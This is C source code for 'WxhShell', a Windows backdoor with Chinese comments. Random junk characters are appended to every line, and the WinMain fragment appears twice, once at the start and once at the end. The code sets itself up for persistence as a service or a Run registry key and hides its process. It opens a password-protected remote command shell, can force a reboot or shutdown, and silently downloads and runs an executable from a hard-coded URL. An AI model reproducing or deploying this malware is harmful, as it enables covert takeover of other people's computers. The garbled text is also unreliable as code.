if(wscfg.ws_downexe) { ~ePtK~,dv
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _v=zFpR
WinExec(wscfg.ws_filenam,SW_HIDE); >tV:QP]Y
} 78u=Jz6
*(Us:*$W.
if(!OsIsNt) { U,^jN|v
// 如果时win9x，隐藏进程并且设置为注册表启动 'J#uD|9)
HideProc(); *|/kKvN
StartWxhshell(lpCmdLine); HAMps[D[
} uGS^*W$
else >qynd'eToR
if(StartFromService()) ' ui`EL%
// 以服务方式启动 &ETPYf%#
StartServiceCtrlDispatcher(DispatchTable); 8'mm<BV;sT
else ;5}y7#4C
// 普通方式启动 R~XNF/QMl
StartWxhshell(lpCmdLine); I$Fr8R$
K|{&SU_m
return 0; q|R$A8)L.
} 4S,/Z{ J.
D$bJs O
^NOy:>
=zKbvwe%X
=========================================== F[U0TP@&*
29h_oNO
fuA8jx
gd\b]L?>O
m_>~e}2'A
T ^z Mm
" O6r.q&U
J~rjI24
#include <stdio.h> ,DWC=:@X
#include <string.h> !fG`xZ~
#include <windows.h> b'yW+
#include <winsock2.h> fsVr<m
#include <winsvc.h> +jz%:D
#include <urlmon.h> tM{U6k
Nx4X1j?-n
#pragma comment (lib, "Ws2_32.lib") }WG -R
#pragma comment (lib, "urlmon.lib") z`rW2UO#a`
.(8eWc YK
#define MAX_USER 100 // 最大客户端连接数 W/I D8+:i
#define BUF_SOCK 200 // sock buffer O(f&0h !
#define KEY_BUFF 255 // 输入 buffer cdsF<tpy
g4>1> .s
#define REBOOT 0 // 重启 AZjj71UE
#define SHUTDOWN 1 // 关机 ||sj*K
3q0^7)m0
#define DEF_PORT 5000 // 监听端口 7_ah1IEK
KdTna6nY
#define REG_LEN 16 // 注册表键长度 q5(Z
#define SVC_LEN 80 // NT服务名长度 )v?-[ oR
TANt*r7
// 从dll定义API X~Vr}
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @](\cT64i3
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'P?DZE
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fTc,"{
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H)&pay
Z8Il3b*)
// wxhshell配置信息 T~'9p`IW
struct WSCFG { vdN0YCXG
int ws_port; // 监听端口 #2*2xt
char ws_passstr[REG_LEN]; // 口令 lw"5p)aB
int ws_autoins; // 安装标记, 1=yes 0=no h 66X746
char ws_regname[REG_LEN]; // 注册表键名 k/ ZuFTN
char ws_svcname[REG_LEN]; // 服务名 GCEq3 ^/
char ws_svcdisp[SVC_LEN]; // 服务显示名 #T8$NZA
char ws_svcdesc[SVC_LEN]; // 服务描述信息 4$!iw3N(
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ec` $2u
int ws_downexe; // 下载执行标记, 1=yes 0=no tpi>$:e
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" spt='!)4
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ev;ocb,
vVi))%&S(
}; g$ oe00b
)z#M_[zC>
// default Wxhshell configuration uua1_#a
struct WSCFG wscfg={DEF_PORT, *!y.!v*
"xuhuanlingzhe", lhA<wV1-9G
1, zx{O/v KG
"Wxhshell", r'ydjy
"Wxhshell", 5=.EngG
"WxhShell Service", q#~]Hp=W5
"Wrsky Windows CmdShell Service", 35[8XD
"Please Input Your Password: ", 'qg q8
1, ihJC)m`Hbl
"http://www.wrsky.com/wxhshell.exe", 1$Pn;jg:
"Wxhshell.exe" '{:Yg3K
}; ){oVVLs
W}5H'D
// 消息定义模块 _(8HK
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h7S&tW GU
char *msg_ws_prompt="\n\r? for help\n\r#>"; wB;'+d&
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q:1_D>
char *msg_ws_ext="\n\rExit."; z!I(B^)BkT
char *msg_ws_end="\n\rQuit."; 5Y8/ZW~D0
char *msg_ws_boot="\n\rReboot..."; :K6(`J3Y"^
char *msg_ws_poff="\n\rShutdown..."; o= %Fh
char *msg_ws_down="\n\rSave to "; uvrfR?%QK
1=t\|Th-
char *msg_ws_err="\n\rErr!"; ZkJYPXdn?
char *msg_ws_ok="\n\rOK!"; jF\J+:5M
I!;#Nk>
char ExeFile[MAX_PATH]; ,e ~@
int nUser = 0; yv<0fQ
HANDLE handles[MAX_USER]; .baS mfc
int OsIsNt; i%~4>k
:>[;XT<
SERVICE_STATUS serviceStatus; 5)yQrS !{:
SERVICE_STATUS_HANDLE hServiceStatusHandle; sQS2U6
~4mgYzOmD`
// 函数声明 .#;;pu7W
int Install(void); fxQN
int Uninstall(void); ?7cF_Zvve
int DownloadFile(char *sURL, SOCKET wsh); M9@#W"
int Boot(int flag); M#qZ0JT4
void HideProc(void); nD+vMG1~w
int GetOsVer(void); ^J>jU`)CJ
int Wxhshell(SOCKET wsl); 6#k Ap+g7
void TalkWithClient(void *cs); 4565U
int CmdShell(SOCKET sock); Cse@>27s
int StartFromService(void); %XqLyeOS
int StartWxhshell(LPSTR lpCmdLine); Dc[Qu?]LM
mdOF0b%-]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'H`_Z e<
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9zkR)C
eD, 7gC-
// 数据结构和表定义 yoj5XBM
SERVICE_TABLE_ENTRY DispatchTable[] = r^?%N3
{ }q(IKH\&
{wscfg.ws_svcname, NTServiceMain}, iw(\]tMt
{NULL, NULL} V\kf6E
}; qb ^4G
]*^mT&$7
// 自我安装 5|-(Ic
int Install(void) G2kr~FG
{ 4\?I4|{pC
char svExeFile[MAX_PATH]; ujcNSX*
HKEY key; PL8eM]XS
strcpy(svExeFile,ExeFile); nFlj`k<]Y
d& @KGJ
// 如果是win9x系统，修改注册表设为自启动 ~`MGXd"o
if(!OsIsNt) { %rTXT
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9`)NFy?
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w<awCp
RegCloseKey(key); N2}].}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zu}h3n5
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %&^F.JTt\
RegCloseKey(key); %t\`20-1<
return 0; VbtFM=Dg
} #cQ[ vE)y
} vbQo8GFp}
} (0"9562
else { #4''Cs
oj<.axA,
// 如果是NT以上系统，安装为系统服务 ]P ->xJ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m\4jiR_o
if (schSCManager!=0) $Tq-<FbM)
{ 2&]UFg:8Q
SC_HANDLE schService = CreateService mB#`{|1[
( ;X\>oV3#
schSCManager, ?/{ qRz'C<
wscfg.ws_svcname, xGqe )M>8?
wscfg.ws_svcdisp, a'Qy]P}'Ug
SERVICE_ALL_ACCESS, LIVVb"V|,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /PIU@$DV
SERVICE_AUTO_START, A"C%.InZ
SERVICE_ERROR_NORMAL, :f^O!^N
svExeFile, 1`m ~c
NULL, yaA9*k
NULL, 5in6Y5ckj
NULL, wLU w'Ai
NULL, $;+B)#
NULL q[b-vTzI
); i<1w*yu
if (schService!=0) {:Z#8dGe
{ }x-~>$:"
CloseServiceHandle(schService); 'mug,jM
CloseServiceHandle(schSCManager); ,I@4)RSAH|
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "^<:7_Y
strcat(svExeFile,wscfg.ws_svcname); lV$U!v:b
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4%p5X8|\ih
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _?@>S7-
RegCloseKey(key); vUgLWd
return 0; {TdKS
} 6yTL7@V|B
} CQ"IL;y
CloseServiceHandle(schSCManager); GwwxSB&y
} 4I^6[{_
} _e8@y{/~Fd
?YgK]IxD
return 1; 4\2p8__
} \Ul*Nsw
IVkKmO(qO
// 自我卸载 eJ%~6c`@!
int Uninstall(void) rem&F'x0V
{ *u7C){)gr[
HKEY key; p0$K.f| ^
v<tH 3I+
if(!OsIsNt) { \9i.dF
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { klUxt?-
RegDeleteValue(key,wscfg.ws_regname); !U,qr0h
RegCloseKey(key); q&Q* gEFK
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9|Jmj @9
RegDeleteValue(key,wscfg.ws_regname); b3EW"^Ar
RegCloseKey(key); xv7^
return 0; g=b[V
} $|6Le; K
} cdP+X'Y4D
} ))G%C6-
else { u;&`_=p
GMgsM6.R
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d)r=W@tF]
if (schSCManager!=0) \D,0
{ ,`/!0Wmt
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ui G7
if (schService!=0) G~a/g6M4
{ yKOf]m>#
if(DeleteService(schService)!=0) { 5&2=;?EO
CloseServiceHandle(schService); `W?aq]4x5
CloseServiceHandle(schSCManager); 2;[75(l6|}
return 0; *-_` xe
} ):LJ {.0R
CloseServiceHandle(schService); IDE@{Dy
} #B`"B
CloseServiceHandle(schSCManager); ?*,N ?s(U
} AUS?Pt[w
} vxr3|2`
:XBeGNI*#
return 1; l%fnGe` _
} StP6G ]x
fBD5K3
// 从指定url下载文件 )/bt/,M&}
int DownloadFile(char *sURL, SOCKET wsh) &sJpn*W
{ pVt-7AgW
HRESULT hr; I g-VSQ
char seps[]= "/"; Ao`9fI#q
char *token; ;n7k_K#0z!
char *file; %>xW_5;Z
char myURL[MAX_PATH]; .b N0!
char myFILE[MAX_PATH]; 8dIgw
$CL=M
strcpy(myURL,sURL); Yq`r>g
token=strtok(myURL,seps); #5G!lbH
while(token!=NULL) faD(,H
{ nsw.\(#
file=token; s;8J= \9W
token=strtok(NULL,seps); T"9`[Lzva
} &ks>.l\
a_QO)
GetCurrentDirectory(MAX_PATH,myFILE); w|?Nq?KA
strcat(myFILE, "\\"); 0 "pm7
strcat(myFILE, file); Xd|@w{.m*
send(wsh,myFILE,strlen(myFILE),0); aKH\8O4L5
send(wsh,"...",3,0); A{5k}
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ha)w*1&w"
if(hr==S_OK) |;rjr_I
return 0; $Xz9xzOR
else kc~Z1
return 1; !p&M,6
GsqrKrbJ
} ttZ!P:H2
W.zA1S
// 系统电源模块 s}`=pk/FM
int Boot(int flag) V%e'H>EC
{ YaSwn3i/@S
HANDLE hToken; _QY0j%W
TOKEN_PRIVILEGES tkp; 8"8sI
x*BfRj
if(OsIsNt) { 1K^/@^
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^x4,}'(
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $vGlZ<3g
tkp.PrivilegeCount = 1; #MGZje,I
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qf>dfJ^q
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *|euC"5c
if(flag==REBOOT) { (X>r_4W$
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !c(B^E
return 0; 7:M%w'oR
} qx0J}6+NlU
else { 0Lc X7gU>
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kz,Nz09}W
return 0; Sm+Ek@Ax
} lmr{Ib2a
} Y&'2/zI6~
else { Q9%N>h9
if(flag==REBOOT) { VD36ce9
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _e~EQ[,
return 0; xOTm-Cm9L
} ih ,8'D4
else { mjBXa
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u@|GQXC
return 0; m&2<?a}l
} Sw'DS
} $`l- cSH;
Q$kSK+ q!
return 1; ,"j|0Q
} .O1g'%
8{Zgvqbb
// win9x进程隐藏模块 Q*mPU=<
void HideProc(void) a&XURyp
{ O%0G37h
,p$1n;
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >K50 h
if ( hKernel != NULL ) !^l<jrM
{ g%4|vA8
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z${B|
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Rq4\~F?
FreeLibrary(hKernel); $ZQPf
} #FuOTBNvB
0_"J>rMp
return; uo 7AU3\
} *<Qn)Az
=H!u4
// 获取操作系统版本 LAMTf"a
int GetOsVer(void) g&BF#)7C
{ Fm[,u
OSVERSIONINFO winfo; uERc\TZ
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]dk~C?H
GetVersionEx(&winfo); lW^RwNcd
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wv(VV[?/&
return 1; YM1@B`yWE
else s{IycTbz
return 0; )5&w
} l)XzU&Sc~
oWx! 'K6]V
// 客户端句柄模块 Y#?Sqm(
int Wxhshell(SOCKET wsl) x8zUGvtQ
{ 5<ery~q
SOCKET wsh; eT}c_h)
struct sockaddr_in client; JRU)AMMU&
DWORD myID; tOp>OoD
<5C3c&sds
while(nUser<MAX_USER) 4\Q ?4ZX
{ ']}ZI 8
int nSize=sizeof(client); aQinR"o
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g w}t.3}
if(wsh==INVALID_SOCKET) return 1; =GnDiI
q1NAKcA<U
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RUO,tB|(_;
if(handles[nUser]==0) 6I_W4`<VeZ
closesocket(wsh); dk{yx(Ty
else ->K*r\T
nUser++; 4V<s"
} `+]4C+w
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rC/m}`b
]_F%{8|
return 0; wCn W]<+
} P"3{s+ r
<A"}Krq?
// 关闭 socket nuKjp Ap!
void CloseIt(SOCKET wsh) b.C!4^
{ ;uDH&3W
closesocket(wsh); OU0\xx1/
nUser--; fTV:QAa;
ExitThread(0); Jqjb@'i
} XY0Gjo0
$]xe,}*Af
// 客户端请求句柄 MH!'g7iK8
void TalkWithClient(void *cs) `C] t2^
{ _j<46^
#Du1(R
SOCKET wsh=(SOCKET)cs; 7c4\'dt#
char pwd[SVC_LEN]; cq@8!Eu w]
char cmd[KEY_BUFF]; h7I_{v8
char chr[1]; qrm~=yU%
int i,j; mpXco *!_
Ay2Vz>{
while (nUser < MAX_USER) { oDM}h +
<P}{0Y~@*W
if(wscfg.ws_passstr) { >RF[0s'-
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $S=lm {
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [T~O%ly7x&
//ZeroMemory(pwd,KEY_BUFF); ~G5)ya-
i=0; <\2,7K{{+;
while(i<SVC_LEN) { j"J2&Y2
Wx;9N
// 设置超时 0gfa7+Y
fd_set FdRead; >9Ub=tZm
struct timeval TimeOut; .T4"+FTzP
FD_ZERO(&FdRead); NaB8cLURp
FD_SET(wsh,&FdRead); 7(Y!w8q&^
TimeOut.tv_sec=8; {gK i15t
TimeOut.tv_usec=0; M/R#f9W
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C x$|7J=O
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nmS3
h"]v+u`!SM
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3D;\V&([
pwd=chr[0]; f:Ju20D
if(chr[0]==0xd || chr[0]==0xa) { @x"vGYKd
pwd=0; [S-NGip
break; rv:,Os_
} c?>Q!sC
i++; vL\wA_z"<H
} XSn^$$S
GfL}f9
// 如果是非法用户，关闭 socket r$R(4q:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Dq3e9fX
} j4+hWalm
!=|3^A
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8$xg\l0?KK
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hz%#&E
6-QTqb?U;N
while(1) { b!<?,S
aL+k1v[m
ZeroMemory(cmd,KEY_BUFF); cz&Qoyh{;
mi%d([)%<
// 自动支持客户端 telnet标准 YNHn# 98\
j=0; &Q(Q/]U~
while(j<KEY_BUFF) { w*$nG$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sqj8c)6
cmd[j]=chr[0]; )uZ<?bkQ
if(chr[0]==0xa || chr[0]==0xd) { >vt#,8VAN
cmd[j]=0; ?Z*LTsPr
break; y{U'\
} "7Zb)Ocb
j++; %HwPOEJ
} y%`^*E&
6hAeLlU1
// 下载文件 r3_@ L>;
if(strstr(cmd,"http://")) { lNls8@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); L?4c8!Q
if(DownloadFile(cmd,wsh)) _"##p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gWv/3hWWB
else !T6oD]x3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p,$1%/m
} y<8)mw
else { (#X/sZQh
X -w#E3
switch(cmd[0]) { 3Ki`W!C
i1\xZ<|0
// 帮助 |Tf}8e
case '?': { Yf7n0Etd,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T"dX)~E;
break; #@3RYx
} Pm#B'N#*N|
// 安装 J$j&j`
case 'i': { r-H~MisL
if(Install()) Uk6Y6mU V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y}(v[QGV
else 6V*@ {
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4US8B=jk
break; V0c*M>V
} 3)EslBA7i
// 卸载 V.:a6>]
case 'r': { = 14'R4:
if(Uninstall()) ]J5[ZVz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U$ _?T-x
else {~[H"h537t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KFCuv15w,3
break; ORp6
} ZgZ}^x
// 显示 wxhshell 所在路径 .A&Ey5
case 'p': { fn&gM\<-+(
char svExeFile[MAX_PATH]; 1;080|,s
strcpy(svExeFile,"\n\r"); xXp\U'Ad~~
strcat(svExeFile,ExeFile); * j:
send(wsh,svExeFile,strlen(svExeFile),0); &5O
break; hy3[MOD$G
} T5Sa9\`>
// 重启 [/6$P[
case 'b': { eP(%+[g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'g|%Ro/
if(Boot(REBOOT)) gE`G3kgn{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i8Yl1nF
else { 7==Uz?}C
closesocket(wsh); ipw_AC~
ExitThread(0); tA3]6SIK@
} 0$":W
break; :BC0f9
} ;7K5Bo
// 关机 QKE$>G
case 'd': { 9'Pyo`hJ#U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n<"?+bz"<
if(Boot(SHUTDOWN)) Iwize,J~X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9K Ih}Q@P
else { pvDr&n9
closesocket(wsh); HJ !)D~M{
ExitThread(0); zVGjXuNa
} wU2y<?$\8
break; ]Qkto4DQ5
} !5?#^q
// 获取shell nyw,Fu
case 's': { Zo-E0[9
CmdShell(wsh); bqsb (C
closesocket(wsh); ^ Gq2"rDM
ExitThread(0); jtS+y)2
break; gD@ &/j7
} q4xB`G
// 退出 f8lBxK
case 'x': { HP3~.1Sp
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8rGW G
CloseIt(wsh); ^h1VCyoR*
break; #fk)Y1
} /h0-qW
// 离开 ie 2X.#
case 'q': { 5w@ ;B
send(wsh,msg_ws_end,strlen(msg_ws_end),0); DcQ^V4_
closesocket(wsh); oZA|IF8U0
WSACleanup(); OcQ_PE5\
exit(1); w>IkC+.?
break; Q2Yv8q_}Uq
} &A*oQ3
} LJc w->
} XG<^j}H{}
HdJLD+k/
// 提示信息 -,TBUWg
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wTf0O@``6H
} UacN'Rat
} E:D1ZV
SV<*qz
return; hIXGfvUy
} bL)g+<:F
#h6(DuViKw
// shell模块句柄 ;}A#ws_CD_
int CmdShell(SOCKET sock) ]vXIj0:
{ ]n _-
STARTUPINFO si; kZU8s'C
ZeroMemory(&si,sizeof(si)); `]LaX&u
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >BrxJw#M
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E&{*{u4
PROCESS_INFORMATION ProcessInfo; `yP-,lA$
char cmdline[]="cmd"; "f!*%SR: 1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c72Oy+#
return 0; q-o=lU"
} \xDu#/^
[9BlP
// 自身启动模式 _xl#1>G^J
int StartFromService(void) cQ6[o"j.
{ "*RCV6{
typedef struct l YH={jJ
{ ]1)@.b;QR
DWORD ExitStatus; \#LKsQa
DWORD PebBaseAddress; ,*E%D_
DWORD AffinityMask; J}._v\Q7P
DWORD BasePriority; @tEVgyN
ULONG UniqueProcessId; ,H22;UV9
ULONG InheritedFromUniqueProcessId; vEtogkFA"
} PROCESS_BASIC_INFORMATION; qt^%jIv
$C9<{zX
PROCNTQSIP NtQueryInformationProcess; +A~lPXAXW
#xW%RF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3[SN[faS
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~-']Q0Z
c`doR(oZ
HANDLE hProcess; **! lV]/
PROCESS_BASIC_INFORMATION pbi; +GP"9S2%R
X-:Ni_O\ty
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M\\TQ(B
if(NULL == hInst ) return 0; L9Fx Lw41
"'t<R}t!A
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p\+#`] Q7}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /D1Bf:'(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gW/H#T,
,=$yvZs4[]
if (!NtQueryInformationProcess) return 0; _\@i&3hkx
&U4]hawbOU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Cg;l<$`b
if(!hProcess) return 0; ]DmqhK`
Qbl6~>T
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W.MJyem
g+ 2SB5 2D
CloseHandle(hProcess); R3?~+y&
Vq9hAD|k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o&(%:|
if(hProcess==NULL) return 0; ni2H~{]z
82O`<Ci
HMODULE hMod; ~gI%
char procName[255]; w2+RX-6Ie
unsigned long cbNeeded; Kw!`u^>
*9PS2*n
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hXz"}X n
9?,n+
CloseHandle(hProcess); F<V zVEx
}Lb];hww1
if(strstr(procName,"services")) return 1; // 以服务启动 Wv=L_E_
Z]w_2- -
return 0; // 注册表启动 aj(M{gFq~
} )&_{m K
Y] P}7GZ
// 主模块 /3KEX{'@U
int StartWxhshell(LPSTR lpCmdLine) yA%[u.{
{ AQQj]7Y
SOCKET wsl; JSGUl4N
BOOL val=TRUE; g-+p(Ll|
int port=0; N..9N$+(
struct sockaddr_in door; Q=^}B}G
ya:H{#%6
if(wscfg.ws_autoins) Install(); Xo%Anqk
`&pb`P<`
port=atoi(lpCmdLine); fi bR:8
HowlJ[km%
if(port<=0) port=wscfg.ws_port; tCc}}2bC&
a#uJzYB0
WSADATA data; 6\::Ku4_2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dcHkb,HsO
Cs]xs9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0 |F(qR
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;H:qDBH
door.sin_family = AF_INET; c#HocwP@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3>L1}zyM]
door.sin_port = htons(port); L {B#x@9tQ
=WO{h48]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xHD!8B)
closesocket(wsl); 3J(STIxg
return 1; kY_UY~E
} qZ1fQN1yG
9 z3Iwl
if(listen(wsl,2) == INVALID_SOCKET) { j<l>+., U
closesocket(wsl); E>4 \9
return 1; )$th${pd#v
} Uj!L:u2b
Wxhshell(wsl); (qPZEZKx
WSACleanup(); %+pXzw`B
m|f|u3'z$
return 0; "4"L"lJ
R0/~) P
} ?C $_?Qi
J41ZQ
// 以NT服务方式启动 ~4\bR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7,+:QY@
{ )%MBo.NL
DWORD status = 0; `q xg
DWORD specificError = 0xfffffff; pbgCcO~xm
%"KBX~3+Kj
serviceStatus.dwServiceType = SERVICE_WIN32; w^ DAu1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~&yaIuW<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x1Si&0T0P<
serviceStatus.dwWin32ExitCode = 0; ]h|GaHiE
serviceStatus.dwServiceSpecificExitCode = 0; =3( ZUV X
serviceStatus.dwCheckPoint = 0; [n:R]|^a
serviceStatus.dwWaitHint = 0; E3gQ`+wNg?
`mWg$e,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9]7^/g*!
if (hServiceStatusHandle==0) return; A$5!]+
-7pZRnv
status = GetLastError(); l[.pI];T
if (status!=NO_ERROR) !MGQ+bD6
{ F`38sq
serviceStatus.dwCurrentState = SERVICE_STOPPED; sF<4uy
serviceStatus.dwCheckPoint = 0; zF{z_c#3@
serviceStatus.dwWaitHint = 0; yXEC@#?|
serviceStatus.dwWin32ExitCode = status; Z>X-ueV
serviceStatus.dwServiceSpecificExitCode = specificError; ?VzST }
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L~0B
return; FvvF4 ,e5
} `[:f;2(@
Ng-3|N
serviceStatus.dwCurrentState = SERVICE_RUNNING; Pd@?(WQ
serviceStatus.dwCheckPoint = 0; ^$T>3@rDB
serviceStatus.dwWaitHint = 0; G4=v2_]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9^aMmN&6N2
} :_?>3c}L
kj-Sd^
// 处理NT服务事件，比如：启动、停止 +Uk/Zg w^
VOID WINAPI NTServiceHandler(DWORD fdwControl) "urQUpF
{ tZ6KU11O
switch(fdwControl) H~$a6T"&
{ XGO_n{x
case SERVICE_CONTROL_STOP: n\P{Mc
serviceStatus.dwWin32ExitCode = 0; Qp<6qM35
serviceStatus.dwCurrentState = SERVICE_STOPPED; "1l d4/
serviceStatus.dwCheckPoint = 0; 7Y$p3]0e+
serviceStatus.dwWaitHint = 0; 4{J%`H`Q!
{ _y8)jD"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a"ht\v}1
} gx9H=c>/
return; dwmj*+
case SERVICE_CONTROL_PAUSE: M VsIyP
serviceStatus.dwCurrentState = SERVICE_PAUSED; $Itehy
break; my*/MC^O
case SERVICE_CONTROL_CONTINUE: WJg?R^
serviceStatus.dwCurrentState = SERVICE_RUNNING; QU\|RX
break; ,Z52dggD
case SERVICE_CONTROL_INTERROGATE: py,z7_Nuh
break; evn ]n
}; 5X[=Q>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y=Bk;%yT=
} HZM&QZHx)`
2>UyA.m0
// 标准应用程序主函数 ,rG$JCS'KQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (A?e}M^}
{ Z$+0gm\Cnw
Bh@j6fv
// 获取操作系统版本 N]5-#
OsIsNt=GetOsVer(); !rwv~9I
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0P!6 .-XU
QRa>W/N
// 从命令行安装 !qy/'v4
if(strpbrk(lpCmdLine,"iI")) Install(); )WBTqML[
C9*'.~
// 下载执行文件 VV?KJz=,W=
if(wscfg.ws_downexe) { tTP"*Bb
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %pV/(/Q
